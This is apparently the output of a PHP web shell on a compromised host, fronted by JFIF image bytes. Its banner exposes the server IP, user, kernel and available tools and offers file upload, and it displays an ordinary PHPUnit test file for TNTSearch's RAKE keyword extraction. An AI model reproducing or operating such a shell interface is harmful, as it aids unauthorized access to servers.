����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/./././www/vendor/teamtnt/tntsearch/tests/keywordextraction/ |
Upload File : |
<?php
use TeamTNT\TNTSearch\KeywordExtraction\Rake;
class RakeTest extends PHPUnit\Framework\TestCase
{
public function __construct()
{
$this->rake = new Rake;
parent::__construct();
}
public function testExtractKeywords()
{
$text = "A scoop of ice cream";
$actual = $this->rake->extractKeywords($text);
$expected = ["ice cream" => 4, "scoop" => 1];
$this->assertEquals($expected, $actual);
}
public function testExtractKeywords2()
{
$text = "Compatibility of systems of linear constraints over the set of natural
numbers. Criteria of compatibility of a system of linear Diophantine
equations, strict inequations, and nonstrict inequations are considered.
Upper bounds for components of a minimal set of solutions and algorithms
of construction of minimal generating sets of solutions for all types of
systems are given. These criteria and the corresponding algorithms for
constructing a minimal supporting set of solutions can be used in solving
all the considered types of systems and systems of mixed types.";
$actual = $this->rake->extractKeywords($text);
$this->assertEquals(8.666666666666666, $actual["minimal generating sets"], '', 0.0001);
$this->assertEquals(8.5, $actual["linear diophantine equations"], '', 0.0001);
$this->assertEquals(7.666666666666666, $actual["minimal supporting set"], '', 0.0001);
}
public function testTokenize()
{
$expected = ["a", "scoop", "of", "ice", "cream"];
$actual = $this->rake->tokenize('A scoop of ice cream');
$this->assertEquals($expected, $actual);
}
public function testGenerateCandidateKeywords()
{
$text = "A scoop of ice cream";
$expected = [["scoop"], ["ice", "cream"]];
$actual = $this->rake->generateCandidateKeywords($text);
$this->assertEquals($expected, $actual);
}
public function testWordDegree()
{
$text = "A scoop of ice cream";
$phraseList = $this->rake->generateCandidateKeywords($text);
$degree = $this->rake->wordDegree("scoop", $phraseList);
$this->assertEquals($degree, 1);
$degree = $this->rake->wordDegree("ice", $phraseList);
$this->assertEquals($degree, 2);
$degree = $this->rake->wordDegree("cream", $phraseList);
$this->assertEquals($degree, 2);
}
public function testWordDegree2()
{
$text = "Compatibility of systems of linear constraints over the set of natural numbers of Criteria of compatibility of a system of linear Diophantine equations, strict inequations, and nonstrict inequations are considered. Upper bounds for components of a minimal set of solutions and algorithms of construction of minimal generating sets of solutions for all types of systems are given. These criteria and the corresponding algorithms for constructing a minimal supporting set of solutions can be used in solving all the considered types of systems and systems of mixed types.";
$phraseList = $this->rake->generateCandidateKeywords($text);
$degree = $this->rake->wordDegree("set", $phraseList);
$this->assertEquals(6, $degree);
$degree = $this->rake->wordDegree("natural", $phraseList);
$this->assertEquals(2, $degree);
}
public function testWordFrequency()
{
$text = "Compatibility of systems of linear constraints over the set of natural numbers of Criteria of compatibility of a system of linear Diophantine equations, strict inequations, and nonstrict inequations are considered. Upper bounds for components of a minimal set of solutions and algorithms of construction of minimal generating sets of solutions for all types of systems are given. These criteria and the corresponding algorithms for constructing a minimal supporting set of solutions can be used in solving all the considered types of systems and systems of mixed types.";
$phraseList = $this->rake->generateCandidateKeywords($text);
$frequency = $this->rake->wordFrequency("systems", $phraseList);
$this->assertEquals(4, $frequency);
}
public function testCalculateWordScores()
{
$text = "A scoop of ice cream";
$expected = ["scoop" => 1, "ice" => 2, "cream" => 2];
$phraseList = $this->rake->generateCandidateKeywords($text);
$actual = $this->rake->calculateWordScores($phraseList);
$this->assertEquals($expected, $actual);
}
}